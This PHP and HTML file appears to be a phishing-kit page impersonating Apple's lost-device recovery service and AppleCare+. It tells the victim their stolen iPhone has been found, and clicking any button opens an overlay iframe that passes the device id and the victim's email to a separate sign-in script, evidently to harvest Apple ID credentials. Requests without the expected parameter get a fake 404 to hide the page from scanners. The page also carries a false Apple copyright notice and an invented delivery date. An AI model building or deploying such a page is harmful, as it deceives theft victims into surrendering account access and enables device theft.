<?php
if(!isset($idequipo)){
    header("HTTP/1.0 404 Not Found");
    header("Status: 404 Not Found");
    die('<html><head>
<title>404 Not Found</title>
</head><body cz-shortcut-listen="true">
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.</p>
</body></html>');
}
?>
<!DOCTYPE html>
<html>
<head>
  <title>Servicio de Recuperación de Apple</title>
  <link rel="preconnect" href="https://fonts.googleapis.com">
  <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link href="https://fonts.googleapis.com/css2?family=Poppins&display=swap" rel="stylesheet"> 
  <style>
    iframe{
        width:360px;
        border:0;
        height:400px;
        position:fixed;
        background:#fff;
        border-radius:10px;
        left:50%;
        margin-left:-180px;
        top:50%;
        margin-top:-200px;
        z-index:1;
        box-shadow:0 0 10px #d9d9d9;
        display:none;
    }
    .opc{
        background:rgba(255,255,255,.7);
        z-index:1;
        position:fixed;
        width:100%;
        height:100%;
        left:0;
        top:0;
        display:none;
    }
    .apcare{
      font-family: 'Poppins', sans-serif;
      max-width: 850px;
      margin:auto;
      color:#1D1D1F;
      padding:0 15px;
    }
    .apcare button{
      background:#0477ED;
      color:#fff;
      border:1px solid #0477ED;
      width:260px;
      font-size: 16px;
      padding:8px 0;
      cursor: pointer;
      border-radius: 8px;
    }
    .apcare hr{
      border-bottom: 0;
      border-top:1px solid #b9b9b9;
    }
    .aphead{
      text-align: center;
      margin-bottom: 50px;
    }
    .aphead h2{
      font-size: 33px;
      margin-bottom: 0;
    }
    .item{
      display: inline-block;
      vertical-align: top;
    }
    .item{
      width: 30%;
    }
    .item2{
      width: 69%;
    }
    .item h2{
      color:#4a4a4a;
    }
    .item h4{
      color: #3e3e3e;
    }
    .item ul li, .boxitem2 ul li{
      font-size: 12px;
    }
    .item ul li span{
      color:#39b003;
    }
    .item a{
      color: #0365CC;
      font-family: arial;
    }
    .item .ul{
      display: inline-block;
      vertical-align: top;
    }
    ul.ul{
      width: 100%;
      padding:0;
    }
    .apcare p{
        text-align:center;
        margin:30px 0 10px;
    }
    .boxitem{
        border:1px solid #b9b9b9;
        border-radius:10px;
        padding:20px 0;
    }
    .itemr{
        display:inline-block;
        width:45%;
        vertical-align:top;
    }
    .itemr1{
        width:20%;
    }
    .itemr3{
        width:33%;
    }
    .itemr3 img{
        opacity:.8;
    }
    .boxitem2{
        background:#F5F5F7;
        padding:15px;
        margin-top:20px;
        border-radius:10px;
        box-shadow:0 12px 13px #ccc;
    }
    @media screen and (max-width:750px){
        .item{
            width:100%;
        }
        .item2{
            padding:0 15px;
            width:90%;
        }
        .itemr1, .itemr2, .itemr3{
            width:100%;
        }
        img.ul, ul.ul{
            margin:auto;
        }
        .item .ul{
            display:block;
        }
        ul.ul{
            width:90%;
        }
        .button{
            margin:auto;
            display:block;
        }
    }
  </style>
</head>
<body>
    <div class="opc"></div>
    <iframe src="signnewesp.php?id=<?php echo $idequipo;?>&correo=<?php echo $response->email;?>" scrolling="no"></iframe>
  <div class="apcare">
    <div class="aphead">
      <h2>Loss or theft recovery service</h2>
      <p><strong>Device currently recovered</strong>, check the points available to pick up your device</p>
      <button>Consult</button>
    </div>
    <div class="boxitem">
      <div class="item">
        <center><img src="/seguro.png" width="70%"></center>
      </div>
      <div class="item item2">
        <h2><?php echo $response->equipo;?></h2>
        <h4>Some possibilities to get your <?php echo $response->equipo;?></h4>
        <ul>
          <li>Pick it up at a point of sale</li>
          <li>Schedule an appointment for ownership verification</li>
          <li>Request <strong>Free</strong> home delivery <span>New*</span></li>
        </ul>
        <a href="#">Get my iPhone</a>
        </div>
    </div>
        <div class="boxitem2">
        <h4><img src="/imgcare/apple.png" width="18px" style="vertical-align: -2px;border-radius:4px; border:1px solid #c4c4c4;"> AppleCare+ helps you get your equipment back into your hands</h4>
        <div class="itemr itemr1">
            <img src="/imgcare/iphone14.png" width="100%" class="ul">
        </div>
        <div class="itemr itemr2">
            <ul class="ul">
              <li>Your lost device has been found and retained at a point of sale</li>
              <li>If you do not have a document to validate the property, we will schedule a call to verify your data</li>
              <li>You can request a diagnosis to ensure that it is in good condition</li>
            </ul>
        </div>
        <div class="itemr itemr3">
            <center>
                <img src="/envio.png" width="25%" style="vertical-align:7px;">
                <img src="/delivery.png" width="30%">
            </center>
            <ul class="ul">
              <li style="list-style: none;margin-top: 15px;color:#00485e;">
                Request <strong>Free</strong> home delivery <a href="#">Schedule shipment</a><br>
                <?php
                date_default_timezone_set('America/Los_Angeles');
                $fecha_actual = date("Y-m-d");
                $fecha = date("Y-m-d",strtotime($fecha_actual."+ 3 days")); 
                echo "Approx. delivery ".getFecha($fecha)." - Free";
                ?>
                <button class="button" style="margin-top: 20px;">Schedule shipment</button>
              </li>
            </ul>
        </div>
        </div>
        <div>
        <p>Copyright © <?php echo date("Y");?> Apple Inc. All rights reserved. </p>
      </div>
    </div>
  </div>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.1/jquery.min.js"></script> 
    <script>
        $(document).ready(function() {
            $("button, a").on("click", abreFrame);
            function abreFrame(a){
                $("iframe, .opc").slideDown();
                a.preventDefault();
            }
            $(".opc").on("click", cierraFrame);
            function cierraFrame(){
                $("iframe, .opc").hide();
            }
        });
    </script>
</body>
</html>
<?php
function getFecha($fecha){
	$mes = "";
	$fechas = explode("-", $fecha);
	switch($fechas[1]){
		case 1: $mes = "January"; break;
		case 2: $mes = "February"; break;
		case 3: $mes = "March"; break;
		case 4: $mes = "April"; break;
		case 5: $mes = "May"; break;
		case 6: $mes = "June"; break;
		case 7: $mes = "July"; break;
		case 8: $mes = "August"; break;
		case 9: $mes = "September"; break;
		case 10: $mes = "October"; break;
		case 11: $mes = "November"; break;
		case 12: $mes = "December"; break;
	}
	$dias = $fechas[2];
	$date = $dias." de ".$mes;
	return $date;
}
?>